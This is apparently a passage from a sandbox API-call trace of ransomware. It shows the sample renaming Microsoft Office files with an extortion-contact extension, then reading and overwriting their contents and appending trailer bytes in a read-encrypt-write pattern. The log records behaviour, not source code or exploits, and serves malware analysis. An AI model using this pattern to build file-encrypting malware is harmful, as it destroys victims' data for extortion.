dwFlags=0x0, lpMem=0x6f14e18 | out: hHeap=0x630000) returned 1 [0139.476] GetProcessHeap () returned 0x630000 [0139.476] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0139.476] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0139.476] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19158a5c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2a64, dwReserved0=0x95c7496, dwReserved1=0x6f14e10, cFileName="FD00397_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FD0039~1.FIR")) returned 0x6d5280 [0139.476] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0139.476] Sleep (dwMilliseconds=0x1) [0140.512] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms", len=0x52 | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 1 [0140.512] GetProcessHeap () returned 0x630000 [0140.512] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c28) returned 0x7203db8 [0140.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0142.636] CloseHandle (hObject=0x6d0) returned 1 [0142.636] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.636] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.856] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.856] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe40291d7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe40291d7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe40e7dfb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x564c, dwReserved0=0x690066, dwReserved1=0x650072, cFileName="HomeBusinessR_Retail2-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOMEBU~3.FIR")) returned 0x6d52c0 [0143.856] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0143.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0143.857] GetProcessHeap () returned 0x630000 [0143.857] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5661) returned 0x6ef78f0 [0143.857] GetProcessHeap () returned 0x630000 [0143.857] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5661) returned 0x6efcf60 [0143.857] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.857] ReadFile (in: hFile=0x6d0, lpBuffer=0x6ef78f0, nNumberOfBytesToRead=0x5640, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef78f0*, lpNumberOfBytesRead=0x673ff0c*=0x5640, lpOverlapped=0x0) returned 1 [0145.410] GetProcessHeap () returned 0x630000 [0145.410] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177718 [0145.410] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.410] WriteFile (in: hFile=0x6d0, lpBuffer=0x6efcf60*, nNumberOfBytesToWrite=0x5640, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6efcf60*, lpNumberOfBytesWritten=0x673ff0c*=0x5640, lpOverlapped=0x0) returned 1 [0145.967] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.967] WriteFile (in: hFile=0x6d0, lpBuffer=0x6f0259f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0259f*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.967] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.967] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.968] CloseHandle (hObject=0x6d0) returned 1 [0145.968] GetProcessHeap () returned 0x630000 [0145.968] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6efcf60 | out: hHeap=0x630000) returned 1 [0145.968] GetProcessHeap () returned 0x630000 [0145.968] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ef78f0 | out: hHeap=0x630000) returned 1 [0145.968] GetProcessHeap () returned 0x630000 [0145.968] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177718 | out: hHeap=0x630000) returned 1 [0145.968] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.968] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe40291d7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe40291d7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1cf42db2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5670, dwReserved0=0x95c7496, dwReserved1=0x6ef78e8, cFileName="HomeBusinessR_Retail2-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOMEBU~3.FIR")) returned 0x6d5480 [0145.968] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0145.969] Sleep (dwMilliseconds=0x1) [0146.027] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml", len=0x52 | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml") returned 1 [0146.027] GetProcessHeap () returned 0x630000 [0146.027] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2724) returned 0x71f7c78 [0146.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentlogon.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0148.749] CloseHandle (hObject=0x708) returned 1 [0148.749] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0148.750] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentlogon.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentlogon.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0148.757] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0148.757] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9bcfaf5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf6, dwReserved0=0x690066, dwReserved1=0x650072, cFileName="officeinventoryagentlogon.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OFFICE~2.FIR")) returned 0x6d5480 [0148.758] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0148.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\officeinventoryagentlogon.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0148.758] GetProcessHeap () returned 0x630000 [0148.758] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd01) returned 0x709768 [0148.758] GetProcessHeap () returned 0x630000 [0148.758] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd01) returned 0x7196c30 [0148.758] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.758] ReadFile (in: hFile=0x708, lpBuffer=0x709768, nNumberOfBytesToRead=0xce0, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x709768*, lpNumberOfBytesRead=0x673ff0c*=0xce0, lpOverlapped=0x0) returned 1 [0148.775] GetProcessHeap () returned 0x630000 [0148.775] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0148.775] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.775] WriteFile (in: hFile=0x708, lpBuffer=0x7196c30*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7196c30*, lpNumberOfBytesWritten=0x673ff0c*=0xce0, lpOverlapped=0x0) returned 1 [0148.775] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.775] WriteFile (in: hFile=0x708, lpBuffer=0x719790f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x719790f*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0148.775] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.775] WriteFile (in: hFile=0x708, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0148.776] CloseHandle (hObject=0x708) returned 1 [0148.776] GetProcessHeap () returned 0x630000 [0148.776] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7196c30 | out: hHeap=0x630000) returned 1 [0148.776] GetProcessHeap () returned 0x630000 [0148.776] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x709768 | out: hHeap=0x630000) returned 1 [0148.776] GetProcessHeap () returned 0x630000 [0148.776] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0149.383] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.384] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1e9f4de5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd1a, dwReserved0=0x95c7496, dwReserved1=0x709760, cFileName="officeinventoryagentlogon.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OFFICE~2.FIR")) returned 0x6d4ec0 [0149.384] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0149.384] Sleep (dwMilliseconds=0x1) [0149.387] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME55.CSS", len=0x4a | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME55.CSS") returned 1 [0149.387] GetProcessHeap () returned 0x630000 [0149.387] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fa4e00, Size=0x2754) returned 0x6fa4e00 [0149.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME55.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme55.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0149.399] CloseHandle (hObject=0x684) returned 1 [0149.399] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.399] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME55.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme55.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME55.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme55.css.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.406] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.406] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME55.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e114, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME55.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SCHEME~1.FIR")) returned 0x6d5340 [0149.407] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0149.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME55.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme55.css.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0149.415] GetProcessHeap () returned 0x630000 [0149.415] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70de158 [0149.450] GetProcessHeap () returned 0x630000 [0149.450] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70e9588 [0149.450] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.450] ReadFile (in: hFile=0x6a0, lpBuffer=0x70de158, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70de158*, lpNumberOfBytesRead=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0156.212] GetProcessHeap () returned 0x630000 [0156.212] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71766b0 [0156.212] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.212] WriteFile (in: hFile=0x6a0, lpBuffer=0x70e9588*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70e9588*, lpNumberOfBytesWritten=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0156.213] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.213] WriteFile (in: hFile=0x6a0, lpBuffer=0x70f4987*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f4987*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0156.213] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.213] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0156.213] CloseHandle (hObject=0x6a0) returned 1 [0156.213] GetProcessHeap () returned 0x630000 [0156.213] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70e9588 | out: hHeap=0x630000) returned 1 [0156.213] GetProcessHeap () returned 0x630000 [0156.213] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70de158 | out: hHeap=0x630000) returned 1 [0156.213] GetProcessHeap () returned 0x630000 [0156.213] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71766b0 | out: hHeap=0x630000) returned 1 [0156.213] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0156.213] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME55.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x230e0f0d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e138, dwReserved0=0x95c7496, dwReserved1=0x70de150, cFileName="SCHEME55.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SCHEME~1.FIR")) returned 0x6d5400 [0156.214] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0156.214] Sleep (dwMilliseconds=0x1) [0158.406] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\PowerViewRes.zh-CHS.xap", len=0x6d | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\PowerViewRes.zh-CHS.xap") returned 1 [0158.406] GetProcessHeap () returned 0x630000 [0158.406] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bb0) returned 0x707d3d0 [0158.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\PowerViewRes.zh-CHS.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\zh-chs\\powerviewres.zh-chs.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b0 [0158.409] CloseHandle (hObject=0x6b0) returned 1 [0158.409] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0158.410] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\PowerViewRes.zh-CHS.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\zh-chs\\powerviewres.zh-chs.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\PowerViewRes.zh-CHS.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\zh-chs\\powerviewres.zh-chs.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0158.413] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.417] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\PowerViewRes.zh-CHS.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x163ef7bf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e757, dwReserved0=0x4a085a18, dwReserved1=0x6e006f, cFileName="PowerViewRes.zh-CHS.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d4e40 [0158.420] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0158.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\PowerViewRes.zh-CHS.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\zh-chs\\powerviewres.zh-chs.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b0 [0158.424] GetProcessHeap () returned 0x630000 [0158.424] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70de158 [0158.430] GetProcessHeap () returned 0x630000 [0158.430] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70e9588 [0158.430] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.433] ReadFile (in: hFile=0x6b0, lpBuffer=0x70de158, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70de158*, lpNumberOfBytesRead=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0165.549] GetProcessHeap () returned 0x630000 [0165.549] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, 